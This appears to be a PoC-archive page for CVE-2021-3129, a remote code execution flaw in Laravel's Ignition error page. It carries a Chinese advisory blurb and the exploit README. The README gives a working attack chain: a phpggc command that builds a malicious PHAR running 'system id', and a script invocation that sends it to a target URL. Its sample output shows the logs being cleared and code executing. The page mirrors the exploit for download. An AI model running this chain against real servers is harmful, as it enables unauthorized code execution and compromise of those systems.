CVE-2021-3129 PoC — Facade Ignition for Laravel 授权问题漏洞

Source

https://github.com/ambionics/laravel-exploits

Associated Vulnerability

Title:Facade Ignition for Laravel 授权问题漏洞 (CVE-2021-3129)
Description:Facade Ignition for Laravel是比利时Facade公司的一款运行在Laravel Web框架中的可自定义的错误页面。 Ignition for Laravel 2.5.2之前版本存在授权问题漏洞，该漏洞源于程序未进行正确的身份验证，攻击者可利用该漏洞执行任意代码。

Description

Exploit for CVE-2021-3129

Readme

# laravel-exploits
Exploit for CVE-2021-3129
Details: https://www.ambionics.io/blog/laravel-debug-rce

# Usage

```bash
$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id 
$ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar
Log file: /work/pentest/laravel/laravel/storage/logs/laravel.log
Logs cleared
Successfully converted to PHAR !
Phar deserialized
--------------------------
uid=1000(cf) gid=1000(cf) ...
--------------------------
Logs cleared
```

File Snapshot


 [4.0K]  /data/pocs/f54e21e81dd72a54a46d990c218244cd865780f4
├── [4.6K]  laravel-ignition-rce.py
└── [ 527]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!